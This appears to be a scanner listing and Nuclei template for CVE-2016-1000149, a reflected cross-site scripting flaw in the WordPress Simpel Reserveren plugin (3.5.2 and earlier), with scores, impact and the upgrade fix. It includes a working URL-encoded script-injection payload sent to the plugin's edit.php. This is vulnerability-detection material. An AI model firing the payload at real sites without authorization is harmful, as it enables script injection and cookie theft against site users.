WordPress Simpel Reserveren <=3.5.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin Simpel Reserveren 3.5.2 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Upgrade to the latest version of the WordPress Simpel Reserveren plugin (>=3.5.3) or apply a patch provided by the vendor to fix the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/simpel-reserveren/readme.txt
Positive when: contains "Simpel Reserveren" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/simpel-reserveren/edit.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000149 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000149

info:
  name: WordPress Simpel Reserveren <=3.5.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin Simpel Reserveren 3.5.2 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to the latest version of the WordPress Simpel Reserveren plugin (>=3.5.3) or apply a patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - https://wordpress.org/plugins/simpel-reserveren
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=474
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000149
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000149
    cwe-id: CWE-79
    epss-score: 0.03977
    epss-percentile: 0.90572
    cpe: cpe:2.3:a:simpel-reserveren_project:simpel-reserveren:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "simpel-reserveren_project"
    product: "simpel-reserveren"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,simpel-reserveren_project,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/simpel-reserveren/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Simpel Reserveren'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/simpel-reserveren/edit.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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